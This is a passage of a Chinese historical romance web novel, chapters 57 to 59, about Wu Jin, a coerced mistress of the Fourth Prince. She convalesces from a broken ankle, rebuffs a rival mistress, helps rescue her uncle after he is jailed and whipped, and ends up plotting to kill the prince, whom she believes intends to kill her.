乌锦最重的伤便是左脚的骨折伤,其它的都是一些皮肉擦伤,两位大夫给她用特制的木板固定住左脚,又敷了草药,之后才用纱布层层包起来,她的左脚脚踝处瞬间成了大粽子。
送走大夫后,乌锦躺在床上,让谢嬷嬷给她弄完粥,她突然想喝肉粥。
谢嬷嬷等人出去帮她弄粥的时候,屋内又只有四阿哥一人,四阿哥还是那副冷沉的模样,一言不发,不知他在想什么。
“主子爷,你回宫吧,谢嬷嬷她们会照顾我。”
胤禛见乌锦已经不掉泪了,他垂眸看着她。
乌锦觉得四阿哥眼神有点怪异,不像是心疼,她读不懂他的眼神,“爷,我没事,你别担心,过几个月就好了。”
“谁说我在担心你?”
行吧,她自作多情,还以为他在担心她,乌锦折腾半天,疼了半天,也没有心思跟他多说什么,本想喝点粥睡过去的,只是这粥还没好,她就先睡过去了。
等她醒来时,四阿哥已经回宫了。
谢嬷嬷将她扶起来,喂她喝粥,乌锦伤着左脚,行动不便,需一拄杖,她让谢嬷嬷她们帮她寻一拄杖过来,她能搀着走路。
“我知道了,外面市集没有卖的话,我让木匠给乌姑娘做一副,不过大夫也说了,乌姑娘不能下地走路,还是躺着为好。”
“放心,我左脚不会用力,总不能天天躺着。”
乌锦不会逞强的,骨折可不是小事,这点分寸,她还是知道的。
过几天,彩玉把铺子的账本拿给她过目,才知道她伤着脚了,很快她额娘他们也过来看她,她额娘私下问她是不是四阿哥故意伤的她,乌锦想到那日谢嬷嬷她们知道她受伤后也怀疑是四阿哥伤的她,她这次给予否认,说她是骑马摔下来的。
平日里她额娘他们不会过来这边的宅子,她行动不便后,他们隔三岔五过来照顾她,好在没遇到四阿哥,四阿哥自从那日后就再也没有出现过。
乌锦养伤这段日子过得很平静,大夫每隔几日过来给她换药,查看她的脚伤。
就这样过了一个月,她有一个月没见到四阿哥,四阿哥每次过来基本上是为了做那事,如今她受伤,行动不便,不好做那事,他自然不会过来找她。
他不来是好事,乌锦巴不得他不出现,只是有一日她在屋内时听到谢嬷嬷跟瓜嬷嬷在外间说话,她听到外室二字,隐隐听到她们说四阿哥又找了一位外室。
谢嬷嬷她们以为她睡着了,才没有刻意压低音量,没想到她会提前醒来。
“乌姑娘会失宠吗?主子爷许久没来了。”
“乌姑娘受伤后,主子爷就再也没有来过,听说主子爷将那位安置在前面那条胡同那边。”
乌锦不由地咳两声,谢嬷嬷她们立即进来,见她要起身,忙把她搀扶起来,倚着床头。
“在说什么?有什么事不必瞒着我。”
两人互相对视,神色犹豫,不知该不该说,最后谢嬷嬷还是说了,说外面在传四阿哥又养了一位外室,前几日那外室还故意上门说是要见她。
“主子爷既然会养外室,养一个跟养两个对他而言都没有差别,更何况他后院的女子不少,嬷嬷为何这么诧异?”
谢嬷嬷不由有些着急:“乌姑娘,那不一样。”
“有什么不一样,男人大多喜新厌旧,不过那人要上门,你们把她拒之门外就好,我不想见人,你们别忘了我只是外室,主子爷想做的事,我们又左右不了,我不会高估我自己,我也没想过要当真正的主子,只盼着他要是腻了,放我一条生路就好。”
谢嬷嬷跟乌姑娘这么久,也知道乌姑娘的性子,说到底乌姑娘是不在乎当主子,她对主子爷自始至终都没有上心,不上心自然就不会在意这些,她们劝是没有用的。
“是我们多嘴了,乌姑娘别放心上。”
乌锦握了握谢嬷嬷的手,柔声道:“我知道你们是为我好,你们对我的好,我都记在心里,我想主子爷有他自己的想法,他想做什么就做什么,我们干预不了,你们也别为我担心,只要他放过我,放过我家人,其实这不失为一件好事。”
“可是乌姑娘,你以后还怎么嫁人?”
乌锦笑了笑,他要是真放她一条生路,她可以不嫁人,嫁人有什么好,况且她的名声都成这样了,谁都知道她是四阿哥的外室,怎么还会想着嫁人,她早就放弃嫁人的念头,她要是想嫁人,当初张宗跟她告白时,她就会答应他,她从始至终都没想过嫁人,她想过自己一辈子都不嫁人,就这样过一辈子都行,没想到半路遇到他,被强迫当外室。
现下他似乎有了厌倦,腻烦她的念头,这是好事,只要他放她一条生路,放过她全家,他其实想怎样都行,养多少个外室都跟她无关,她不会心生嫉妒,更不会担心自己失宠,她只要他放过她。
乌锦听到这个消息反而是高兴的,她等到结果了,是好是坏,她还不得而知。
第58章第58章更新
第58章
外面那些传言,她没有心思理会,不仅仅是谢嬷嬷她们担心她失宠,连她的家人既担心她的脚伤又担心她失宠,前不久升官的小舅还特意过来问她那些传言是不是真的,四阿哥是不是真的又养了一个外室。
乌锦说是真的,她小舅就担心自己好不容易升的官就这样没了,反复让她好好巴结四阿哥,把外室的位置坐得稳稳的,不能让别人抢了去,她好不容易把他打发走,谢嬷嬷进来说那个女子又过来了,想见她。
前几次,她都拒之门外,这人怎么还过来,行吧,见见就见见,乌锦示意谢嬷嬷把人放进来。
进来的女子约莫十五六岁,一身珊瑚色绣芍药花的旗装,梳着小两把式的旗头,戴着点翠嵌红珠海棠纹的头花,脸上化着精致的妆容,样貌标致,是一个漂亮可人的女子。
“妾身章佳.颂心给乌姑娘请安。”
乌锦哪里能受她的礼,她们之间可没有尊卑阶层之分,都是外室而已,她说道:“章佳姑娘快起来吧,你我之间不用多礼,坐吧,谢嬷嬷,给章佳姑娘倒茶。”
谢嬷嬷很快给章佳.颂心倒一杯热茶
,也把一碟子点心摆到她面前。
“乌姑娘身边有人伺候,真好。”
乌锦看向章佳.颂心,不知她说这话是何意,她可没有心思跟一个小姑娘争风吃醋,对她说的话只是默默地笑了笑,没有接茬,随手拿了一块绿豆糕放进嘴里。
“乌姑娘,我可以叫你乌姐姐吗?我日后想常过来跟姐姐聊聊天。”
乌锦把绿豆糕咽下后才说道:“章佳姑娘,你我此前并不相识,你不用跟我套近乎,你若无事,其实不必过来找我,有什么事,你找四阿哥就好,我家中有两个弟弟,他们唤我姐姐是情理之中,你若唤我姐姐,反而于理不合,章佳姑娘,你说呢。”
章佳.颂心没想到乌锦说话这么不留情面,她的脸僵了一下,她略显不满道:“乌姐姐,你我同是四阿哥的人,姐妹相称有何不好,以后我们可以互相关照。”
“章佳姑娘,互相关照就不用了,你我没有往来的必要,说不定过几日,我就不是四阿哥的人了,四阿哥怕是对我已经厌倦,日后说不定你都不会见到我,章佳姑娘只需伺候好四阿哥就行,你觉得呢。”
章佳.颂心有些迟疑,觉得乌锦说得对,但又说不上来哪里不对。
“章佳姑娘,你请回吧,恕我行动不便,不能亲自送你,谢嬷嬷,你送送章佳姑娘吧。”
章佳.颂心还没坐一会就被赶走了,她以为乌锦是好相与的性子,没想到恰恰相反,她在乌锦这讨不到好处,不过乌锦的长相不如她,也许她说得对,四阿哥可能厌倦她了,很快就会抛弃她,她无需担心才是。
章佳.颂心还是稍微放心地离开。
乌锦没空管章佳.颂心怎么想的,她先管好自己,她拿着拄杖下地走两步。
“乌姑娘,我看这个章佳氏不是好性子,我们以后还是离她远一点。”
乌锦笑着看谢嬷嬷,谢嬷嬷虽说是四阿哥的人,但待她护她的心也是真的,她温声道:“我知道了,以后不见她,她若是再过来求见,嬷嬷你直接把她赶走,不过她也只是一十五六岁的小姑娘,应该不会做出什么伤人的事。”
“防人之心不可无。”
谢嬷嬷先前在宫里当宫女时,见过争宠的手段跟腌趱事太多了,这女子一旦嫉妒起来,不说伤人,暗地里杀人都有可能,她是伺候乌姑娘的,肯定得站在乌姑娘这边,她也不明白主子爷为何突然之间又养一个外室,她先前瞧着主子爷待乌姑娘有几分特殊,好端端的怎么又养一个外室,一下子变得风流浪荡,学起花名在外的大阿哥放纵起来。
这章佳姑娘听说家世跟乌姑娘差不多,阿玛也是普通的佐领,但是听说章佳姑娘身边没人伺候,不像乌姑娘有她跟月依两个人伺候。
“乌姑娘,你小心点走,大夫说你左脚还不能使劲。”
谢嬷嬷见乌姑娘拄着拄杖来回走,她忍不住提醒一句,不再想着章佳氏的事。
“放心,我没使劲,都是右脚着地。”
……
又过三日,四阿哥才出现,乌锦在提笔写字,她许久没有动笔写字了,正闲着就连连字,见到人进来时,她没有下地行礼,只是放下毛笔。
“脚好了吗?”胤禛目光一扫,问了一句。
乌锦说还没好,她把自己写的字帖拿起来,朝他炫耀道:“主子爷,你看我写的字。”
胤禛过去一看,她的字没有任何笔力而言,别人的字或遒劲有力,或笔走龙蛇,再不济也娟秀自然,唯独她的一手字跟狗爬似的,还好意思一脸得意。
“你这是狗爪子,我还以为你伤的是手,不然怎么写出这么难看的字。”
乌锦想啐他一口,哪有他说的那么糟糕,她这么多年虽说还是不大习惯用毛笔写字,但她自认她写的字算得上整齐大气,绝不是狗爬。
“你眼瞎了,你写的字才是狗爬的。”
胤禛轻笑一声,坐在她身后,抓着她的手,亲自教她写字。
“爷,是你写的字好看还是其它阿哥写的字好看?我看你写得也一般般,你自己都写得不好,可没有资格教我。”
“教你绰绰有余。”
乌锦用手肘往后撞他一下。
胤禛依旧握着她的手,缓缓说道:“皇阿玛平日里称赞太子居多,还有大哥三哥,偶尔才会称赞我。”
“那是太子的书法最好吗?”
“平日是三哥练字写字最为勤勉。”
乌锦听明白了,在四阿哥眼里,是三阿哥的书法最佳,但皇上称赞太子最多,称赞他最少,谁让太子是皇上的心肝,自己亲自养大的儿子自然跟其他人不一样,她这个时候不能戳四阿哥的痛处,改口道:“我觉得主子爷的字写得挺好看的,的确能教我,爷,你又教我骑马,又教我写字,我喊你一声师傅也不为过。”
“那你喊一声听听。”
“师傅。”
胤禛见乌锦当真喊他师傅,她笑的时候露出两颗白牙,双眸晶亮,笑得很狡黠,像足一只小狐狸,他紧紧盯着她,一个多月没来看她,她对他倒是不见生疏,近在咫尺,他低头就能亲到她红唇,于是想也没想就亲下去。
乌锦得扭着头才能跟他接吻,姿势不舒服,亲了一会,她脖子酸了就推了推他,咕哝道:“不是说好教我写字的嘛,不许干别的。”
“先干别的,隔了一个月,你难道不想吗?”
“我的脚动不了,你也不能压着它。”
胤禛说他来动就行,说着就把人抱起来,朝床边走去。
全程乌锦没怎么动,基本上是躺着,平躺侧躺,但结束的时候,她还是觉得疲惫,他每次都折腾太久,好在事后,他主动帮她擦拭一二。
“这阵子都做了什么?”他问。
乌锦寻思着她做了什么,他难道不知道嘛,他想知道肯定有人会告诉他,心里这样想,嘴上还是如实回答他:“就是在屋子里养伤,白天刺绣写字,我这样子走不了几步路,哪也去不了,只能闭门不出。”
“大夫说什么时候能好?”
“再过一两个月吧。”
胤禛觉得她这样子闭门不出,哪也去不了,其实挺好的,省得她一天到晚外出,过了一会,他再看乌锦时,她已经睡着了。
他穿衣起身,到屋外时找来谢嬷嬷,还是问乌锦这一个月来的行踪,见了哪些人,听谢嬷嬷说完后,他嗯了一声,叮嘱一句让谢嬷嬷把人伺候好后才离开。
谢嬷嬷看着四阿哥等人离开,猜不透四阿哥在想什么,乌姑娘这到底算不算失宠,那个章佳氏比乌姑娘好看,比乌姑娘年轻,四阿哥之后会不会渐渐来的次数越来越少,她着急也没有用,乌姑娘不着急。
谢嬷嬷忍不住叹口气,不想这事,先过去看看避子汤熬好了没有。
……
胤禛这边刚出宅子又碰到乌锦的小舅,他说要请他喝酒,乌锦这个小舅倒是会钻营,估计在这里守一会了才蹲到他,一次两次的蛮让人厌烦的。
他说他还有事,拒绝喝酒的提议,他哪里配跟他喝酒,这人比乌锦还摆不清自己的身份,他上了马车,不再看他。
完颜.明达见四阿哥在宅子里待了快一个时辰才出来,他其实就放心了,显然四阿哥心里还有乌锦,只要乌锦仍然是四阿哥的外室,他这个参领就能继续当着。
明达高兴地归家,丝毫不在意四阿哥拒绝跟他喝酒之事,他在家自个喝酒,他媳妇伺候他,他跟他媳妇说起今日见到四阿哥的事。
“那我们家桃子是不是没有失宠?”万艳芬问道,这半个月,四阿哥又养外室的事传得沸沸扬扬,他们全家人都担心桃子失宠。
“没有失宠,四阿哥在宅子里待了许久,桃子这不是脚受伤了嘛,估计是因为桃子受伤,不好伺候四阿哥,四阿哥才令找外室的,只要桃子的伤好了,四阿哥肯定还会找桃子的。”
“就不知道桃子什么时候能成为真正的主子,一直当外室也不是办法。”
完颜.明达轻嗤一声:“你一个妇道人家什么都不懂,这外室跟主子没什么差别,都是四阿哥的女人,只要桃子把外室这位置坐稳了,四阿哥心里有我们家桃子,主不主子没那么重要。”
话虽是这么说,但如今四阿哥身边又添人了,跟桃子一样都养在外面,没名没分的,被抛弃了没处说理去,女子的贞洁跟名声都没了,往后不可能再嫁,至少主子名正言顺,不会被随便抛弃,万艳芬还是希望桃子能当主子,入四阿哥的后院。
“别喝太多。”万艳芬提醒丈夫。
“行啦行啦,今儿高兴,你别管我。”
万艳芬还要照看孩子,让他自己在屋内喝酒,她去看看孩子。
完颜.明达觉得自己在家喝得不尽兴,他原本想去三姐家找姐夫一起喝,只是上次喝多被三
姐他们说了几句,于是他不去三姐家,而是转去酒楼那边。
万艳芬忙着照顾孩子,没注意到自家丈夫已经出去了。
完颜.明达这阵子常去酒楼,酒楼的伙计都知道他,很快给他上酒,以前那些人可能还狗眼看人低,如今的他已经是参领,四阿哥见到他也得喊他一声小舅,现在他们不得不对他和颜悦色,恭敬有加。
酒楼二楼有几位姑娘唱曲弹琵琶,他坐在大堂里一边听着曲一边喝酒,有人凑过来跟他说话,言语之间捧着他,他一高兴就跟他们拼起酒,越喝越多,他瞧着二楼那位弹琵琶的姑娘长得很好看,他踉踉跄跄地上二楼,想见一见那位弹琵琶的姑娘,跟她说说话。
他到最中间的包厢,被门外酒楼里的伙计拦住。
“你们拦我干什么,你们知道我是谁吗?我要见弹琵琶的那位姑娘。”
“祝姑娘不见外客,还请明达大人见谅。”
“她一个在酒楼里卖艺的姑娘为何不能见外客,我要见她,你们知道我是谁嘛就敢拦我?快放我进去,我要见她。”明达大声嚷嚷,想要闯进去。
酒楼的两位伙计表情略显为难,只能用力拦住他。
外头的动静让几个包厢内的人出来,有一位男子走过来,问谁要见祝姑娘,那两个伙计给过来的男子行礼,喊了一声格尔芬大人。
明达其实已经喝多了,神智不是特别清晰,他见有人拦着他,他酒意上头,非要闯进去,有人站在他面前,他气愤骂道:“谁啊?我看谁敢拦我,把那个祝姑娘给我叫出来,我今日一定要见她。”
格尔芬扫了一眼明达,在旁边的人告知他完颜.明达的身份后,他更是轻蔑一笑,一个外室的小舅也敢仗着四阿哥的名义在这里嚣张,他冷声道:“祝姑娘是我的人,你今日怕是见不成,没有我的允许,她谁也不能见。”
“你是谁?”
“我是谁,恐怕你还不配知道。”
这句话让明达一下子就怒了,这阵子哪个人见到他不是捧着他,谁敢这么跟他说话,他狠狠瞪着面前的人,怒道:“我不配?你知道我是谁吗?把那个祝姑娘给我叫出来,你是从哪里冒出来的,我告诉你,四阿哥见到我也得喊我一声舅舅。”
格尔芬笑得更大声了,不屑地看着明达:“哪怕是四阿哥叫你一声阿玛,今日你也别想见到祝姑娘,打哪来回哪去,真能把自己当一回事了,不过是一市井之徒,身上估计都拿不出二十两。”
明达自从当上参领后第一次被人下脸嘲讽,脑子不清醒的他想也不想冲上去就是一拳,很快两人扭打在一块,到最后是明达一人被打得鼻青脸肿。
格尔芬不解气,还让衙门的人过来,将明达送进监狱,打算让他在监狱里受刑。
……
万艳芬是隔了一个时辰才知道自家丈夫又出门了,她也没管,自家丈夫这阵子爱出门不是一回两回了,只是直到天黑,人还没回来,她才觉得有点奇怪,想着难不成去三姐那喝多,在三姐那歇下了?
一直等到戌时末,人还没回来,万艳芬寻思着应该在乌家歇下了,她没去找,想着明日再过去乌家一趟。
吴翠萍过来问她,她说应该喝多在三姐家歇下了。
吴翠萍生了一个女儿,还未满周岁,她也有两个孩子,实在抽不出身夜里前去乌家把人带回来,于是她们把孩子哄睡后也歇下了。
翌日,万艳芬吃过早膳后让吴翠萍在家看着三个孩子,她过去三姐家一趟,本想着训自家丈夫几句,喝醉后不着家还偏偏要喝醉喝多,结果到三姐家没见到丈夫,一问才知道昨日自家丈夫压根没过来这边,她这才开始有点慌了。
“三姐,明达昨晚没回家,我以为他在你们这,找姐夫喝酒,夜里在你们这歇下了。”
完颜.可茹摇摇头说她昨天一天都没见到明达,明达没过来他们家,昨天乌志善到傍晚才回家,白天要去营里当差。
“那他去哪了?难不成去大姐那了?”
万艳芬觉得自家丈夫不大可能去大姐跟二姐那里,平日里最常去的地方就是三姐这里,她开始着急了。
程连秀说她们分头去各家找找看,这么大一个人不可能不见。
找了两个时辰,各家都找过了,不见人影,最后还是认识的人告诉她们,昨日在酒楼见到过明达,她们又去酒楼跑一趟,听酒楼的人说才知道昨日明达跟人打架了,好像还是索额图大人的儿子,如今被关进附近衙门的监狱里。
她们三个人又忙去乌锦那跟乌锦说这事。
“为什么打架?”乌锦忍不住头疼,就知道小舅会惹麻烦,索额图是什么人,那可是当朝大学士,平日里被叫索相的人,是太子的叔外公,皇上的老丈人,真正的皇亲国戚,索额图的儿子自然也不例外。
“说是明达喝多了,闹着要见酒楼里卖艺的姑娘,但那位姑娘是格尔芬的人,格尔芬拦着不让见,明达就出手打了格尔芬。”程连秀将事情经过说一遍,这些是酒楼里的人说的,是真是假还不得而知。
乌锦深叹一口气,敢情还是小舅有错在先,小舅喝多后就常常口出狂言,做出无理的事也不是特别令人意外,尤其是他当上参领后,整个人就更飘了。
他们全家都是倚仗着四阿哥才有所谓的前程,升官也都是因为别人想巴结四阿哥才给阿玛跟小舅等人升的官,没有四阿哥,他们家什么都不是,不会有人真正把乌家看在眼里。
可索额图是谁,曾经的辅政大臣一等公索尼之子,赫舍里一族已经在大清至少富贵了三代,在京中是十分庞大且势力雄厚的家族,真正的名门权贵,跟他们乌家这种没有根基的家族一比,就是天与地的差别。
赫舍里一族背后的人是太子,四阿哥身为皇子,太子的亲弟弟,都不会跟太子起正面冲突。
“额娘,你去姑母家,找大堂哥查诺,看他能不能过去衙门一趟,他应该能进去衙门里面;小娘,你先去衙门跑一趟,给衙门的人塞点银子,不管怎么样,让小舅在监狱里少受点刑罚也好,看他们能不能照顾一二,报上乌家的名号;小舅妈,你去一趟简亲王府吧,看能不能让世子帮帮忙,进不去简亲王府的话就先找李夫人,世子跟格尔芬应该相识,他出面说情说不定管用,我走不了路,只能你们过去了。”
她们照做,很快出去找人。
乌锦不知道这个格尔芬是什么性子,不过既然是索额图的儿子,家世优越,一出生就几乎拥有一切、在众星捧月中长大的人,只是打架就把人关进监狱里,性子恐怕不是那么好相与的。
她倒是想让小舅长长心,记住教训,但又怕人折在监狱里,那些刑罚可是会要人命的,格尔芬要是心狠之人,直接让小舅受刑,小舅恐怕性命不保。
乌锦唤来谢嬷嬷,让她出去买一些能送人的礼回来,她直接给她一百两银子,吩咐完后她开始写道歉信,想着送些东西过去给格尔芬当歉礼,让他能饶过小舅一回。
不管有没有四阿哥,乌家都得罪不起格尔芬他们,哪怕后来康熙将索额图圈禁宗人府,索额图的儿子都被处死,那也是后来的事,至少目前的赫舍里一族依旧是京城里的高门贵族。
若格尔芬不愿意放过小舅,四阿哥未必会站在他们这一边帮他们。
不知过了多久,她额娘跟大堂哥查诺一起回来,两人神情凝重,查诺已经进去监狱里看过小舅,人在里面的确受刑了,因为是格尔芬让人关进去的,那些人不肯放人。
“伤得多重?”
“若是不及时就医,恐怕有生命危险。”
查诺的话让她额娘立即落泪,乌锦一听就知道伤得恐怕不轻,仅过一日而已,都无需审问
定罪就先用刑了,格尔芬的权力不小。
过一会儿,她小娘也回来了,说是给衙门那些人塞了银子,不过她听说人在里面已经受刑了。
“桃子,得赶紧把你小舅救出来,我听说伤得很严重。”
乌锦知道要把人救出来,只是怎么救,不知道世子那边能不能把人救出来,四阿哥这会恐怕在宫里,她找来赵师傅,让他给四阿哥递话。
乌锦意识到普通人想要做什么都是难上加难,权势压人,他们没有任何还手的能力,而靠着四阿哥的他们就是空中楼阁,没有四阿哥,他们直接坍塌,什么都不是。
第59章第59章更新
第59章
临近天黑,他们还在想怎么救人时,小舅妈终于回来,哭着说世子已经将人救出来,只是人伤得重,昏迷不醒,得去找大夫来看才行。
额娘她们又赶忙去找大夫,乌锦也坐上马车赶去小舅家,在小舅家,她见到世子雅尔江阿,她投去感激的眼神,跟他道谢。
“你该谢的人是四阿哥,我正好跟四阿哥在一块,格尔芬嚣张跋扈不是一天两天的事了,以后还是远着点。”
“多谢世子爷提醒。”
雅尔江阿目光往下,只是隔了几个月不见,她怎么还成瘸子了。
乌锦察觉到雅尔江阿眼神里的疑惑,她说她是从马背上摔下来导致骨折的。
雅尔江阿一下子猜到定是四阿哥带她去骑的马,上次四阿哥带她去狩猎,听说当时就有教她骑马,再带她去骑马似乎也不是特别意外,至于四阿哥对乌锦是什么心思,他反正看不明白,乌家人少,但乌家那些亲戚事却不少。
乌锦急着进去看小舅的伤势,跟雅尔江阿说几句就进屋了。
雅尔江阿也没有久留,剩下的就是他们的事了,人已经救出来,能不能活就看老天眷不眷顾。
乌锦进屋看躺在床上的小舅,此时奄奄一息,出气比进气多,浑身是血,吴氏正帮小舅脱去沾血的外衣,她见到小舅身上那些纵横交错的鞭伤,每一道伤口都是见肉的,鞭子抽打下去还得钩出一块肉。
乌锦见表妹站在一旁无措,她捂住表妹的眼睛,安抚她道:“好啦,你别看了,你去照顾弟弟跟妹妹好不好,这里就交给大人,阿玛肯定会没事的。”
吴氏生了一个闺女,还不满周岁,小舅妈生的儿子也刚满周岁,乌锦支开表妹,让瓜嬷嬷给三个小孩弄点吃的,又让谢嬷嬷去熬点参汤。
等大夫过来后,大夫先帮小舅处理伤口,比较深的伤口要缝线,一一处理完后金疮药涂上,转头跟他们说小舅伤势很重,这伤口容易发炎感染,又失血过多,能不能醒来还不一定。
大夫也给他们开了药方,让他们先熬药。
乌锦让大夫今晚留下来,以防夜里小舅出事,好在如今他们不缺银两,好药也用得起。
她阿玛也带着乌安乌明两个人过来,一家人都在这里守着,额娘在一旁用帕子拭泪,小舅妈她们也哭到停不下来。
乌锦看到床上的小舅嘴唇泛白,脸色憔悴,人躺在床上毫无动静,方才连大夫给他缝针时,他都没有醒来,只怕凶多吉少,小舅再怎么不好,她都不会希望他失去生命。
他们晚膳都没吃,还是谢嬷嬷做好几道菜,乌锦让大家多少吃一点,总不能饿着,夜里还需要人照顾小舅,自己不能先饿倒下去。
他们几个人才吃了一点东西。
到了深夜,小舅才有转醒的迹象,嘴里咕咕哝哝,他们听不清他在说什么,大夫过来给他查看一番,又给他灌下去一碗汤药,他又沉睡过去。
小娘让她到隔壁房间歇息,这里有她们守着,乌锦的确累了,便过去跟表妹睡在一张床,她闭上眼睛没多久就睡着了。
再醒来时已是天亮,她揉揉眼起身,谢嬷嬷见到她醒了,先给她倒一杯温水。
“我小舅醒了没有?”
谢嬷嬷说道:“醒了一会,还清醒地说了几句话,这会又睡过去了,大夫说有好转的迹象,说大人还年轻,身子底子好,只要人不发烧,应该能熬过去。”
乌锦这才松口气,喝了半杯水。
表妹云珠从外面跑进来,问她想吃什么。
“什么都可以,你吃了吗?”
云珠点头说她早上吃了葱花饼,指了指谢嬷嬷说是她做的饼。
乌锦跟谢嬷嬷说声谢谢,此时小舅妈怕是无暇顾及做吃的,谢嬷嬷的帮忙让他们能安心照顾小舅。
“这是我该做的,举手之劳的事,乌姑娘别跟我说客气话。”
乌锦笑了笑,下地被谢嬷嬷搀着过去小舅的房间,小舅还是昏睡的,但脸色看上去好了许多,她小娘跟她说今早小舅醒了一会,能说几句话了。
乌锦点点头,人多,她大姨二姨她们也过来了,照顾小舅这活还用不上她,她便出去先用早膳。
过一会儿进来,乌锦跟屋内的人说一声便回去她那边了,把表妹云珠给带上。
云珠第一次过来这边,十分好奇,什么东西都要看一看,小孩子的心性就是如此,乌锦还不大能自如走路,也不能陪她玩,闲着没事,她便教云珠刺绣。
云珠虽然才六岁,但她已经会基本的针线活,衣服破了,她自己能缝好,教一些简单图案的刺绣,她很快就学会了。
她们就这样度过一天,小舅那边没什么消息传来,没有消息便是好消息,天黑后,乌锦就放心带着云珠入睡。
云珠在她这里住了好几天,这几天,小舅清醒的时辰越来越久,只是人开始发烧发热,每日喝退烧药,伤口每日换药,再加上被悉心照料,到了第六天,他的烧又慢慢退下去了。
乌锦中间带着云珠过去探望一次,之后基本上是小娘她们过来给她传消息,原本她想给格尔芬送礼跟递上道歉信,后面想想还是等问过四阿哥再做打算,人是四阿哥救的,她若是送礼过去,好像是在打四阿哥的脸似的,况且尽管小舅有错在先,但此次伤得这么重,半条命差点没了,已经足够能弥补他的错,倒是格尔芬直接私自用刑,显得有些残酷。
四月底,小舅的伤经过十几天已经慢慢恢复,人因此瘦了一圈,伤好后他还嚷嚷着要让四阿哥替他报仇,被小舅妈痛斥一顿,说他好了伤疤忘了疼,就该让他死在牢里,省得他再招惹祸事。
乌锦告诉小舅格尔芬的身份,他若是觉得惹得起就继续招惹,反正他们不会救他第二回,他也没有那么幸运可以再捡回来一条命,以后他再喝醉闹事,她不会再管他,四阿哥更没空管他的事,
不知小舅有没有听进去,乌锦待在宅子里,不再过去小舅那边,话已经说到这种地步了,他还想作死的话,她也只能由着他。
四阿哥过来的时候已经是五月一日,乌锦的脚伤也好得差不多了,大夫帮她把固定的木板拆掉,只是在外皮敷了药,她下地走几步路已经没有问题,不过还不能太过用力。
她白天基本上在刺绣,铺子那边虽说有彩玉小娘她们看着,也有绣娘,但她依旧会帮着绣一些复杂图案的绣件。
见到四阿哥,她忙下炕给他行礼。
“脚伤好了?”
“是,大夫说已无大碍,别太用力就行,这次奴婢小舅的事,多谢四阿哥出手相助。”
乌锦抬头瞧他,见他一张脸面无表情,也没应声,只顾着坐下,她一时分不清他心情如何,顿时有些踌躇。
“乌锦,你那些亲戚比你事还多,一个两个都不怎么省心。”
乌锦望进四阿哥的双眼,他语气里似乎有着浓浓的嫌弃跟不满,那双眼很是锐利,她只能道歉道:“给主子爷添麻烦了,是奴婢的不是,只是奴婢也没有选择,谁让奴婢生在乌家,人的出生不是自己能决定的,有哪些亲戚也不是奴婢能决定的,
他们不省心,其实奴婢也没有办法,奴婢只能管住自己。”
“你倒是会找借口。”
乌锦不接话,这哪是在找借口,事实如此,她被拉过去,她一下子撞到他胸膛,很快他就吻上来,后脑勺被摁着,她只能迎合他,到后面,她舌头都被卷麻了。
强势凶猛的吻沿着脖子往下,乌锦想着他毕竟是帮了她就没有挣扎,结束的时候,她觉得自己身上的吻痕肯定不少。
她见他还懒洋洋地躺着,她只好自己起来,走去三角架前拧了拧毛巾给他简单擦拭。
“爷,那格尔芬那边……”
“不用管他。”
有他这句话,乌锦就放心了。
“陪我躺一会。”
乌锦看他,没有继续忙活,又躺了下来。
“你有没有想做的事,除了骑马,你还想做什么?”
好端端的怎么突然问起这个,乌锦偏头看他,一时分不清他真正想说什么,她轻声道:“奴婢没有特别想做的事,奴婢一直觉得平淡是福,能有一日三餐,家人身体康健,无病无灾,奴婢就很知足了。”
“你再想想,想做什么,想要什么,现在可以开口跟我要,我可以满足你。”
乌锦贴在他胸前,依旧说她没有特别想要的东西,事实如此,自从手头宽裕后,她想要什么已经可以买到,是真的没有特别想要的,最想要的是他放她一条生路。
一想到这,乌锦又突然心里一紧,四阿哥这是什么意思,他先前不会这样问她,她跟他要二十两月银都得求他,怎么今天有些反常,刚刚还嫌弃她亲戚事多,这会又问她想要什么,他会满足她。
她想到章佳.颂心,他新养的外室,他有了新外室,是不是不要她这个旧外室了,一些人被判死刑后要执行死刑前,他们想要什么基本上会被满足,是吃饱饭上路的。
四阿哥想杀她!他想在杀她之前满足她的愿望,他对她起杀心了,他果然不会给她一条生路,不愿意就这样放过她,他是想杀人灭口了。
乌锦不可置信,手不由自主地微微颤抖,她拼命压制住,只觉得自己的恶心感要冲破喉咙,这人在跟她做完如此亲密的事后,竟然对她起了杀心,这个男人太会伪装了,还是说他早就对她起杀心。
乌锦脑子快转,将自己所有情绪压下,不被他察觉到什么,她努力平静道:“我突然想起一事,不知主子爷是否可以满足我。”
“什么?”
“我一直盼着成亲,嫁做人妇,成亲当日有洞房花烛夜,只是我跟了主子爷后已经不可能再嫁他人,爷能不能挑个良辰吉日,跟我拜堂成亲,假装迎娶我过门,摆个宴席,好让我体会一次嫁人当新娘子是什么滋味,体验一次洞房花烛夜是什么感觉,主子爷,你放心,这宴席不会请其他人,而且不需要对外宣扬,只有我们两个人,可能还有谢嬷嬷她们,这不是真的迎娶,我也不是要当主子,就像我们小时玩过家家一样,爷,可以吗?”
胤禛没想到乌锦会提出这个请求,她先前跟张宗订亲,两人快要成亲时因张宗受伤才取消成亲仪式跟婚宴,她是不是一直盼着那门亲事能成,想弥补回来。
“你是想跟我成亲吗?还是想和张宗?”
“只有主子爷,除了你没有别人,我没当过新娘子,想当一回新娘子看看,我只想让主子爷当我的新郎,我们一起喝合卺酒,主子爷不用给我下聘礼,我们就是走个成亲的假流程,我并非是要主子爷真的娶我,只是很想体验当新娘子,哪怕只有一日也好,爷,你就答应我吧,花不了多久,半日就好,主子爷什么都不需要做,都交给我就好,我挑好日子,主子爷在那日过来就好。”
“嗯,我知道了。”
“那主子爷是答应了?”
胤禛点头。
乌锦似高兴地抱住他,对着他的薄唇连亲好几下,神情很是激动兴奋,心里想的是这人是真的想杀她,连她这么离谱的要求都肯答应,这是真的想送她上路。
她趴在他怀里,恨他恨得要死,恨不得将他大卸八块,只听见他说日子别挑太久,离得越近越好,他这是迫不及待想杀她,等不及了。
她不信他会留她家人性命,连她都想杀了,她的家人估计也不会放过。
乌锦点点头说她知道了,他抬起她的脸,她对着他露出笑容,他很快再亲过来。
乌锦攀着他脖颈,在他肩上咬一口。
“你真是属狗的。”
“我是情不自禁,主子爷弄得太深了。”
他们做了第二次,事后,他闭眼睡过去,乌锦没法入睡,一想到这个人要杀她跟她全家,她哪里睡得着,在想要怎么躲避过去。
他既然已经起了杀心,恐怕不会轻易收回去,况且他又有新外室了,有人可以让他发泄了,她没什么作用了,那只能是她先杀他才能保住他们一家人的命。
